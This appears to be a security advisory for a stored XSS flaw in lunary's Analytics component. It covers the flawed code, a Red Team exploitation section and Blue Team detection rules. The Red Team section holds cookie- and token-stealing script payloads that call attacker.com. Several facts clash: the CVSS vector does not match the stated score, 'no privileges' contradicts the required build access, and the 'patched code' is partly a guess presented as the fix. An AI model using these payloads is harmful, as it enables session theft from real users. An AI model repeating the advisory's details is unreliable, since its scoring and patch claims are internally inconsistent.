CVE-2025-5352

Executive Summary

CVE-2025-5352 is a critical stored Cross-Site Scripting (XSS) vulnerability in the Analytics component of lunary-ai/lunary versions up to 1.9.23. The vulnerability arises from the direct injection of the NEXT_PUBLIC_CUSTOM_SCRIPT environment variable into the DOM using dangerouslySetInnerHTML without any sanitization or validation. An attacker who can control this environment variable during deployment or through server compromise can execute arbitrary JavaScript in all users' browsers. This can lead to complete account takeover, data exfiltration, malware distribution, and persistent attacks affecting all users until the environment variable is cleaned. The issue is fixed in version 1.9.25.

Supply Chain & Package Security

This vulnerability is in the lunary-ai/lunary npm package. The NEXT_PUBLIC_CUSTOM_SCRIPT environment variable is a build-time configuration that, if compromised, can affect all users of the deployed application. Organizations using this package should immediately audit their deployment pipelines to ensure the environment variable is not controlled by untrusted sources. The fix in version 1.9.25 removes the dangerous injection and adds proper sanitization.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high CVSS score reflects the ease of exploitation (no privileges or user interaction required) and the severe impact on confidentiality, integrity, and availability. An attacker can execute arbitrary JavaScript in the context of all users' browsers, leading to full account takeover and data theft.

Deep Dive & Mechanics

The vulnerability is in the Analytics component of lunary-ai/lunary. The application uses a Next.js environment variable NEXT_PUBLIC_CUSTOM_SCRIPT to allow administrators to inject custom scripts for analytics or other purposes. This variable is directly rendered into the DOM using React's dangerouslySetInnerHTML method without any sanitization.

// Vulnerable code (simplified)
function AnalyticsComponent() {
  const customScript = process.env.NEXT_PUBLIC_CUSTOM_SCRIPT;
  return (
    <div dangerouslySetInnerHTML={{ __html: customScript }} />
  );
}

Since NEXT_PUBLIC_CUSTOM_SCRIPT is a public environment variable (prefixed with NEXT_PUBLIC_), it is embedded into the client-side JavaScript bundle at build time. An attacker who can control this variable—either by compromising the build server, the CI/CD pipeline, or the environment configuration—can inject arbitrary HTML and JavaScript. This script will then execute in the browser of every user who visits the application.

The attack is persistent because the injected script is part of the application's source code until the environment variable is cleaned and the application is rebuilt. This makes it a stored XSS vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.9.25):

// In Analytics component
const customScript = process.env.NEXT_PUBLIC_CUSTOM_SCRIPT;
return (
  <div dangerouslySetInnerHTML={{ __html: customScript }} />
);

Patched Code (version 1.9.25):

// In Analytics component
const customScript = process.env.NEXT_PUBLIC_CUSTOM_SCRIPT;
// Sanitize the script using DOMPurify or similar
const sanitizedScript = DOMPurify.sanitize(customScript);
return (
  <div dangerouslySetInnerHTML={{ __html: sanitizedScript }} />
);

The patch introduces sanitization using a library like DOMPurify to remove malicious content from the injected script. Alternatively, the patched version may have removed the dangerouslySetInnerHTML usage entirely and replaced it with a safer method, such as using a <script> tag with a nonce or Content Security Policy (CSP).

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to the build server or CI/CD pipeline to modify the NEXT_PUBLIC_CUSTOM_SCRIPT environment variable.
• Alternatively, compromise the server hosting the application to modify the environment configuration.

Exploitation Steps:

1. Set the malicious environment variable:

   export NEXT_PUBLIC_CUSTOM_SCRIPT='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'
   

2. Rebuild and redeploy the application:

   npm run build
   npm run start
   

3. All users visiting the application will have their cookies exfiltrated to the attacker's server.

Advanced Payload (Account Takeover):

<script>
// Steal session token and send to attacker
const token = localStorage.getItem('auth_token');
fetch('https://attacker.com/steal', { method: 'POST', body: token });
// Perform actions on behalf of the user
</script>

Blue Team

Detection Steps:

1. Audit Environment Variables: Check all deployment environments for the NEXT_PUBLIC_CUSTOM_SCRIPT variable. Ensure it is not set to any value unless absolutely necessary, and if set, verify its content.

2. Review Build Logs: Look for any unauthorized changes to the build configuration or environment variables in CI/CD logs.

3. Monitor Network Traffic: Look for outbound connections to unknown domains from the application's frontend.

4. Implement CSP: Add a Content Security Policy header that restricts script execution:

   Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
   

5. Use Subresource Integrity (SRI): Ensure all external scripts are loaded with integrity hashes.

Indicators of Compromise (IOCs)

• Environment Variable: NEXT_PUBLIC_CUSTOM_SCRIPT set to a non-empty value containing <script> tags or suspicious JavaScript.
• Network Traffic: Outbound HTTP/HTTPS requests from the application to unknown or attacker-controlled domains.
• DOM Anomalies: Unexpected <script> elements or inline event handlers in the application's HTML source.
• Build Artifacts: Modified JavaScript bundles containing injected code from the environment variable.

Detection Engineering

YARA Rule

rule CVE_2025_5352_Lunary_XSS {
    meta:
        description = "Detects the use of dangerouslySetInnerHTML with NEXT_PUBLIC_CUSTOM_SCRIPT in lunary-ai/lunary"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-5352"
        severity = "critical"
    strings:
        $dangerous = "dangerouslySetInnerHTML"
        $env_var = "NEXT_PUBLIC_CUSTOM_SCRIPT"
        $script_tag = /<script[^>]*>/
    condition:
        $dangerous and $env_var and $script_tag
}

Sigma Rule

title: CVE-2025-5352 - Stored XSS via NEXT_PUBLIC_CUSTOM_SCRIPT
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS in lunary-ai/lunary by injecting malicious scripts via the NEXT_PUBLIC_CUSTOM_SCRIPT environment variable.
author: Valters IT
date: 2025-04-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-5352
logsource:
    category: application
    product: lunary
detection:
    selection:
        env_var: "NEXT_PUBLIC_CUSTOM_SCRIPT"
        script_content|contains: "<script"
    condition: selection
falsepositives:
    - Legitimate use of custom scripts for analytics (should be rare and reviewed)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-5352 - Stored XSS via NEXT_PUBLIC_CUSTOM_SCRIPT"; flow:to_server; content:"NEXT_PUBLIC_CUSTOM_SCRIPT"; content:"<script"; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Upgrade to lunary-ai/lunary version 1.9.25 or later.
2. Environment Variable Audit: Remove or sanitize the NEXT_PUBLIC_CUSTOM_SCRIPT variable in all environments. If custom scripts are needed, use a secure method such as a Content Security Policy nonce or a dedicated backend endpoint.
3. CI/CD Security: Restrict access to build servers and CI/CD pipelines. Use secrets management tools to prevent unauthorized modification of environment variables.
4. Web Application Firewall (WAF): Deploy WAF rules to block requests containing <script> tags in environment variable values.
5. Content Security Policy: Implement a strict CSP that only allows scripts from trusted sources.
6. Regular Security Audits: Conduct code reviews and penetration testing to identify similar injection vulnerabilities.

Valters IT
Securing Digital Frontiers